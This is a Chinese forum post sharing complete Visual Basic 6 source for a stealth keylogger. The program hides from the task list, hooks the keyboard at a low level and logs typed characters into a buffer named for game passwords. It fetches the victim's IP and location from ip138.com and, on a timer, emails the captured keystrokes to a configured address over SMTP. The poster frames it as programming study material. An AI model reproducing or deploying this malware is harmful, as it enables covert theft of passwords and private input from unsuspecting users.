将这套代码贴出来，趁今天又时间，回头看了下以前写的源码，真是太差劲，很多代码都可以优化和精简。具体我就不说了，
大家自己试下吧。。
Form代码，主要是截取和发信的还有获取IP的，另外还有两个模块代码：
'Option Explicit
'Dim minute As Integer
Dim objEmail As Object
Dim strName As String
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
HookID = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, ;O0)
Timer1.Enabled = True
Timer2.Enabled = True
'minute = 0
strName = "http://schemas.microsoft.com/cdo/configuration/"
Set objEmail = CreateObject("CDO.Message")
webBrowser.Navigate ("http://www.ip138.com/ip2city.asp") '打开IP138网站
End Sub
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
UnhookWindowsHookEx HookID
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Text1.Text = InformationDNFPass
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
time.Text = Format(Now, "hh:mm:ss")
'MsgBox time
'minute = minute + 1
If time = time1.Text Then
'发送邮件
txtSubject.Text = iptext.Text + "[" + Format(Now, "yyyy-mm-dd hh:mm:ss") + "]"
' Me.Caption = "Sending..."
' Command1.Enabled = False
objEmail.From = txtFrom.Text
objEmail.To = txtTo.Text
objEmail.Subject = txtSubject.Text
objEmail.Textbody = Text1.Text
objEmail.Configuration.Fields.Item(strName ; "sendusing") = 2
objEmail.Configuration.Fields.Item(strName ; "smtpserver") = txtSmtp.Text
objEmail.Configuration.Fields.Item(strName ; "smtpserverport") = 25
objEmail.Configuration.Fields.Item(strName ; "smtpauthenticate") = 1
objEmail.Configuration.Fields.Item(strName ; "sendusername") = Left(txtFrom.Text, InStr(txtFrom.Text, "@") - 1)
objEmail.Configuration.Fields.Item(strName ; "sendpassword") = txtPass.Text
objEmail.Configuration.Fields.Update
objEmail.Send
' Command1.Enabled = True
' Me.Caption = "Send OK!"
' Text1.Text = ""
'minute = 0
End If
End Sub
Private Sub WebBrowser_DocumentComplete(ByVal pDisp As Object, URL As Variant)
On Error Resume Next
Set webdoc = WebBrowser.Document
y = webdoc.All(0).outerhtml
'--------------------------------------------------获取网页源代码------
Dim sTemp As String
Dim a, b, c, d, x As Integer
sTemp = y
a = InStrRev(sTemp, "[") + 1
b = InStrRev(sTemp, "]")
iptext.Text = Mid(sTemp, a, b - a)
'--------------------------------------------------取IP字段------
c = InStrRev(sTemp, "：") + 1
d = InStrRev(sTemp, "</CENTER>")
'iptext.Text = Mid(sTemp, c, d - c)
'--------------------------------------------------取地区字段------
End Sub
模块ModGetPName：
Option Explicit
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Function GetPName() As String
Dim I As Long, J As Long
Dim tStr As String * 254
On Error GoTo 10
I = GetForegroundWindow
J = GetWindowText(I, tStr, Len(tStr) + 1)
GetPName = Left(tStr, J)
Exit Function
10:
GetPName = ""
End Function
模块：ModHook
Option Explicit
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Const WH_KEYBOARD = 2
Public Const WH_KEYBOARD_LL = 13
'-----------------------------------------
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
'---------------------------------------
Public Const WM_KEYDOWN = ;H100
Public Const WM_KEYUP = ;H101
Public Const WM_SYSKEYDOWN = ;H104
Public Const WM_SYSKEYUP = ;H105
Public Type KEYMSGS
vKey As Long
sKey As Long
Flag As Long
time As Long
End Type
Public strKeyName As String * 255
Public keyMsg As KEYMSGS
'按键状态
Public bolCtrl As Boolean
Public bolShift As Boolean
Public bolCapsLock As Boolean
Public HookID As Long
Public REC As Boolean
Public InformationDNFPass As String
Public Function CallKeyHookProc(ByVal code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'信息
Dim lKey As Long
Dim strKeyName As String * 255
Dim strLen As Long
Dim strNowInformation As String '比较乱的当前信息
Dim strInformation As String '整理后的当前信息
'开始
If code = HC_ACTION Then
CopyMemory keyMsg, lParam, LenB(keyMsg)
Select Case wParam
Case WM_SYSKEYDOWN, WM_KEYDOWN:
If GetKeyState(vbKeyControl) < 0 Then 'Ctrl按下
bolCtrl = True
End If
If GetKeyState(vbKeyShift) < 0 Then 'Shift按下
bolShift = True
End If
Case WM_SYSKEYUP, WM_KEYUP:
If GetKeyState(vbKeyControl) >= 0 Then 'Ctrl抬起
bolCtrl = False
End If
If GetKeyState(vbKeyShift) >= 0 Then 'Shift抬起
bolShift = False
End If
If (GetKeyState(vbKeyCapital) And 1) <> 0 Then 'k_CapsLock按下
bolCapsLock = True
Else
bolCapsLock = False
End If
'当前信息
lKey = keyMsg.sKey And ;HFF
lKey = lKey * 65536
strLen = GetKeyNameText(lKey, strKeyName, 250)
strNowInformation = Left(strKeyName, strLen)
strInformation = Replace(strNowInformation, "Num", "")
strInformation = Replace(strInformation, "Del", ".")
strInformation = Replace(strInformation, "Ctrl", "")
strInformation = Replace(strInformation, "Shift", "")
strInformation = Replace(strInformation, "Alt", "")
strInformation = Replace(strInformation, "Tab", "(|)")
strInformation = Replace(strInformation, "Right", "")
strInformation = Replace(strInformation, "Left", "")
strInformation = Replace(strInformation, "Caps Lock", "")
strInformation = Replace(strInformation, "caps lock", "")
strInformation = Replace(strInformation, "Backspace", "|")
strInformation = Replace(strInformation, "backspace", "|")
strInformation = Replace(strInformation, "Space", "")
strInformation = Replace(strInformation, "space", "")
strInformation = Replace(strInformation, "enter", "")
strInformation = Replace(strInformation, "Enter", "")
strInformation = Replace(strInformation, " ", "")
'智能判断大小写
If bolCtrl = False Then '屏蔽Ctrl
If bolShift = False And bolCapsLock = False Then 'Shift和CapsLock都没按下
InformationDNFPass = InformationDNFPass ; LCase(strInformation)
End If
If bolShift = False And bolCapsLock = True Then '只CapsLock按下
InformationDNFPass = InformationDNFPass ; strInformation
End If
If bolShift = True Then 'Shift按下(不管有没有CapsLock)数字全部替换
Select Case strInformation
Case "`"
InformationDNFPass = InformationDNFPass ; "~"
Case "1"
InformationDNFPass = InformationDNFPass ; "!"
Case "2"
InformationDNFPass = InformationDNFPass ; "@"
Case "3"
InformationDNFPass = InformationDNFPass ; "#"
Case "4"
InformationDNFPass = InformationDNFPass ; "$"
Case "5"
InformationDNFPass = InformationDNFPass ; "%"
Case "6"
InformationDNFPass = InformationDNFPass ; "^"
Case "7"
InformationDNFPass = InformationDNFPass ; ";"
Case "8"
InformationDNFPass = InformationDNFPass ; "*"
Case "9"
InformationDNFPass = InformationDNFPass ; "("
Case "0"
InformationDNFPass = InformationDNFPass ; ")"
Case "-"
InformationDNFPass = InformationDNFPass ; "_"
Case "="
InformationDNFPass = InformationDNFPass ; "+"
Case "["
InformationDNFPass = InformationDNFPass ; "{"
Case "]"
InformationDNFPass = InformationDNFPass ; "}"
Case ";"
InformationDNFPass = InformationDNFPass ; ":"
Case "'" '这个不好写就算了
InformationDNFPass = InformationDNFPass ; "'"
Case "\"
InformationDNFPass = InformationDNFPass ; "|"
Case ","
InformationDNFPass = InformationDNFPass ; "<"
Case "."
InformationDNFPass = InformationDNFPass ; ">"
Case "/"
InformationDNFPass = InformationDNFPass ; "?"
Case Else
If bolCapsLock = False Then '没按CapsLock,字母大写
InformationDNFPass = InformationDNFPass ; strInformation
Else '按下CapsLock , 字母小写
InformationDNFPass = InformationDNFPass ; LCase(strInformation)
End If
End Select
End If
End If
End Select
End If
If code <> 0 Then
CallKeyHookProc = CallNextHookEx(0, code, wParam, lParam)
End If
End Function
大家看看，对大家学编程还是很有用的
